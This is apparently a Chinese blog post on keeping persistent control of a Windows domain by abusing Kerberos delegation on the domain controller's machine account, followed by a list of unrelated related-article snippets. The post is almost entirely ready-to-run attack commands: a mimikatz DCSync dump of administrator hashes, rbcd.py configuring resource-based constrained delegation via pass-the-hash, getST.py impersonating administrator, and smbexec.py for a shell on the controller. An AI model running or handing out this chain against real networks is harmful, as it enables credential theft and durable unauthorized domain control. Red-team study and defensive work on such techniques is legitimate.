域内委派维权
为某个服务账户配置 krbtgt 用户的非约束性委派或基于资源的约束性委派。这里我的 krbtgt 的基于资源约束性委派我利用不了，所以使用的是域控的机器账户 dc01$ 进行维权。
抓取所有 hash。
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:HACK.com /user:HACK\administrator /csv" "exit" 这里很多账号都是如下 hash，是因为他们的密码都是一样的。 9099d68602a60f007c227c4fa95fada6 9099d68602a60f007c227c4fa95fada6
给机器账户 dc01$ 配置 machine$ 的基于资源的约束性委派
python ./rbcd.py -f comp1 -t dc01 -dc-ip 192.168.72.21 HACKER\\administrator -hashes aad3b435b51404eeaad3b435b51404ee:9099d68602a60f007c227c4fa95fada6
以 administrator 请求 cifs/dc01.HACK.com 票据
# 以 administrator 请求 cifs/dc01.HACK.com 票据 python3 getST.py -dc-ip 192.168.72.21 HACK.com/machine$ -hashes aad3b435b51404eeaad3b435b51404ee:9099d68602a60f007c227c4fa95fada6 -spn cifs/dc01.HACK.com -impersonate administrator export KRB5CCNAME=administrator@cifs_dc01.HACK.com@HACK.COM.ccache python3 smbexec.py -no-pass -k dc01.HACK.com
相关文章：
域内委派维权
为某个服务账户配置 krbtgt 用户的非约束性委派或基于资源的约束性委派。这里我的 krbtgt 的基于资源约束性委派我利用不了，所以使用的是域控的机器账户 dc01$ 进行维权。 抓取所有 hash。 mimikatz.exe "privilege::debug" "lsadump::dcsync /doma…...
leetcode---LCR 140.训练计划
给定一个头节点为 head 的链表用于记录一系列核心肌群训练项目编号，请查找并返回倒数第 cnt 个训练项目编号。 示例 1： 输入：head [2,4,7,8], cnt 1 输出：8 提示： 1 < head.length < 1000 < head[i] <…...
Linux基础 -- ARM 32位常用机器码（指令）整理
ARM 32位常用机器码（指令）整理 1. 数据处理指令（运算、逻辑、比较） 指令含义示例备注MOV赋值（寄存器传输）MOV R0, R1直接将 R1 复制到 R0MVN取反MVN R0, R1R0 ~R1ADD加法ADD R0, R1, R2R0 R1 R2ADC带进…...
内存中的缓存区
在 Java 的 I/O 流设计中，BufferedInputStream 和 BufferedOutputStream 的“缓冲区”是 内存中的缓存区（具体是 JVM 堆内存的一部分），但它们的作用是优化数据的传输效率，并不是直接操作硬盘和内存之间的缓存。以下是详…...
基于 Spring Boot 的 +Vue“宠物咖啡馆平台” 系统的设计与实现
大家好，今天要和大家聊的是一款基于 Spring Boot 的 “宠物咖啡馆平台” 系统的设计与实现。项目源码以及部署相关事宜请联系我，文末附上联系方式。 项目简介 基于 Spring Boot 的 “宠物咖啡馆平台” 系统设计与实现的主要使用者分为 管理员、用户 和…...
LeetCode 解题思路 7（Hot 100）
解题思路： 初始化窗口元素： 遍历前 k 个元素，构建初始单调队列。若当前索引对应值大于等于队尾索引对应值，移除队尾索引，将当前索引加入队尾。遍历结束时当前队头索引即为当前窗口最大值，将其存入结果数组…...
linux-Dockerfile及docker-compose.yml相关字段用途
文章目录 计算机系统5G云计算LINUX Dockerfile及docker-conpose.yml相关字段用途一、Dockerfile1、基础指令2、.高级指令3、多阶段构建指令 二、Docker-Compose.yml1、服务定义（services）2、高级服务配置3、网络配置 (networks)4、卷配置 (volumes)5、扩…...
deepseek部署：ELK + Filebeat + Zookeeper + Kafka
## 1. 概述 本文档旨在指导如何在7台机器上部署ELK（Elasticsearch, Logstash, Kibana）堆栈、Filebeat、Zookeeper和Kafka。该部署方案适用于日志收集、处理和可视化场景。 ## 2. 环境准备 ### 2.1 机器分配 | 机器编号 | 主机名 | IP地址 | 部署组件 |-…...
微软Office 2016-2024 x86直装版 v16.0.18324 32位
微软 Office 是一款由微软公司开发的办公软件套装，能满足各种办公需求。包含 Word、Excel、PowerPoint、Outlook 和 OneNote 等软件。Word 有强大文档编辑功能和多人协作；Excel 可处理分析大量数据及支持宏编程；PowerPoint 用于制作演示文稿且…...
CMake宏定义管理：如何优雅处理第三方库的宏冲突
在C/C项目开发中，我们常常会遇到这样的困境： 当引入一个功能强大的第三方库时，却发现它定义的某个宏与我们的项目产生冲突。比如： 库定义了 BUFFER_SIZE 1024，而我们需要 BUFFER_SIZE 2048库内部使用 DEBUG 宏控制日志…...
【SpringCloud】Gateway
目录 一、网关路由 1.1.认识网关 1.2.快速入门? 1.2.1.引入依赖 1.2.2.配置路由 二、网关登录校验 2.1.Gateway工作原理 ?2.2.自定义过滤器 2.3.登录校验 2.4.微服务获取用户 2.4.1.保存用户信息到请求头 2.4.2.拦截器获取用户? ?2.5.OpenFeign传递用户 三、…...
Maven入门教程
一、Maven简介 Maven 是一个基于项目对象模型（Project Object Model）的构建工具，用于管理 Java 项目的依赖、构建流程和文档生成。它的核心功能包括： 依赖管理(Dependency Management)：自动下载和管理第三方库&#x…...
大数据与金融科技：革新金融行业的动力引擎
大数据与金融科技：革新金融行业的动力引擎 在今天的金融行业，大数据与金融科技的结合正在以惊人的速度推动着金融服务的创新与变革。通过精准的数据分析与智能化决策，金融机构能够更高效地进行风险管理、客户服务、资产管理等一系列关键操作…...
Autosar RTE配置-Port Update配置及使用-基于ETAS工具
文章目录 前言Autosar Rte中enableUpdate参数定义ETAS工具中的配置生成代码分析总结前言 在E2E校验中，需要对Counter进行自增，但每个报文周期不一样，导致自增的周期不一样。且Counter应该在收到报文之后才进行自增。基于这些需求，本文介绍使用RTE Port中的参数enableUpdat…...
【AVRCP】深入理解蓝牙音频 / 视频远程控制规范：从基础到应用
AVRCP（Audio/Video Remote Control Profile）作为蓝牙音频 / 视频控制领域的重要规范，通过其完善的协议架构、丰富的功能分类以及对用户需求的深入考量，为我们带来了便捷、高效的音频 / 视频设备控制体验。无论是在日常生活中的音乐…...
AWS SQS跨账户访问失败排查指南
引言 在使用AWS SQS（Simple Queue Service）时，跨账户访问是常见的业务场景。例如，账户A的应用程序向队列发送消息，账户B的消费者从队列拉取消息。尽管AWS官方文档明确支持此类配置，但在实际应用中，由于权限模型的复杂性，开发者和运维人员常会遇到“策略已配置但无法接…...
算法训练（leetcode）二刷第三十八天 | 1143. 最长公共子序列、1035. 不相交的线、53. 最大子数组和、392. 判断子序列
刷题记录 1143. 最长公共子序列1035. 不相交的线53. 最大子数组和动态规划优化版 392. 判断子序列 1143. 最长公共子序列 leetcode题目地址 本题和300. 最长递增子序列相似（题解）。 使用动态规划： dp数组含义：dp[i][j]表示 以…...
【JavaWeb学习Day20】
Tlias智能学习系统 员工登录 三层架构： Controller：1.接收请求参数（用户名，密码）2.调用Service方法3.响应结果 具体实现： /*** 登录*/ PostMapping("/login") public Result login(Reque…...
2024年12月中国电子学会青少年软件编程（Python）等级考试试卷（二级）真题 + 答案
青少年软件编程（Python）等级考试试卷（二级） ↓↓↓↓↓↓ 模拟 分数：100 题数：37 一、单选题(共25题，共50分) 1. 已知字典如下 dic1 = { name: Ming, age:20, grade: A, Tel:6666666 } 以下哪个代码运行结果为20？（ ） A. dic1(age) B. dic1[1] C. dic1(20) D. dic1[ag…...
一、对iic类模块分析与使用
bmp280驱动代码 说明： 1、该模块用于获取气压，温度，海拔等数据。 vcc，gnd接电源 sda ，scl 接iic通信引脚 2、该模块使用iic通信，通过iic发送请求相关类的寄存器值，芯片获取对应寄存器返回的数据…...
你的CSP策略真的安全吗？手把手教你用Google的Nonce方案改造网站（附Tranco万站爬虫分析）
你的CSP策略真的安全吗？Google Nonce方案实战指南与行业适配性解析 当安全团队在年度审计报告中标注"内容安全策略配置不当"时，许多开发者才惊觉自己的防护体系存在致命漏洞。传统CSP（内容安全策略）部署的复杂性就像试图…...
永磁同步电机PMSM无感FOC驱动代码功能说明
永磁同步电机pmsm无感foc驱动代码，启动为高频注入，平滑切入观测器高速控制，代码全部手写开源，可以移植到各类mcu上。 附赠高频注入仿真模型一、代码整体架构与应用场景 本文档所分析的代码是一套针对永磁同步电机（PMSM…...
SecGPT-14B模型版本管理：无缝升级OpenClaw依赖的安全分析能力
SecGPT-14B模型版本管理：无缝升级OpenClaw依赖的安全分析能力 1. 为什么需要关注模型版本管理 上周我在用OpenClaw自动化处理安全日志时，突然发现几个原本能识别的攻击模式开始出现误判。排查后发现是底层SecGPT-14B模型更新后行为发生了变化——这个经…...
Agent 的流程可以随时修改调整吗？深度解析 2026 年智能体动态编排与业务闭环
站在 2026 年的技术节点回望，AI Agent（智能体）早已脱离了最初“对话机器人”的稚嫩标签，演变为企业数字化转型的核心基础设施。针对“Agent 的流程可以随时修改调整吗？”这一核心疑问，答案不仅是肯定的&…...
【数据结构与算法】第30篇：哈希表（Hash Table）
一、什么是哈希表1.1 基本思想哈希表通过哈希函数将关键字映射到数组的某个位置，实现快速访问。textkey → 哈希函数 → 数组下标 → 访问/存储示例：hash(key) key % 10key25 → 25%105 → 存入下标5key37 → 37%107 → 存入下标71.2 哈希冲突不同的key…...
AI安全高阶：生成式AI的安全风险与防御体系
AI安全高阶：生成式AI的安全风险与防御体系📝 本章学习目标：本章深入探讨高阶主题，适合有一定基础的读者深化理解。通过本章学习，你将全面掌握"AI安全高阶：生成式AI的安全风险与防御体系"这一核心…...
DSP28377控制下三相并网系统的双二阶锁相环DSOGI-PLL程序优化及应用
基于DSP28377的三相并网双二阶锁相环DSOGI-PLL程序。系统概述 本文分析的代码实现了一个基于TI DSP28377D处理器的三相并网逆变器控制系统。该系统采用先进的双向功率控制架构，集成了三相锁相环(DSOGI-PLL)、空间矢量脉宽调制(SVPWM)和多种保护机制，适用…...
33.3%提及率，直接提及却为0%：张雪机车的AI搜索“假性存在”危机
一次小范围诊断，暴露了一个关键信号：品牌在AI生成答案中的“存在感”，远没有看起来那么安全。近日，张雪机车在国内大火，各大媒体都对张雪本人做了铺天盖地的报道。我们是做GEO（生成式搜索优化）服…...
ThinkPHP3.x核心特性全解析
好的，我们来梳理一下 ThinkPHP 3.x 版本的主要特性：MVC 架构支持：严格遵循模型(Model)-视图(View)-控制器(Controller)的设计模式。清晰分离业务逻辑、数据操作和页面展示，便于协作开发和维护。路由支持：支持多种 URL …...
别再死记硬背了！用Python+Matplotlib动态可视化5G NR的帧结构与RB资源分配
用Python动态解析5G NR帧结构：从理论到可视化实战 在通信技术快速迭代的今天，5G NR(新空口)作为第五代移动通信的核心技术，其灵活的帧结构设计一直是工程师和研究者关注的焦点。传统学习方式往往依赖静态图表和文字描述，让许多初学…...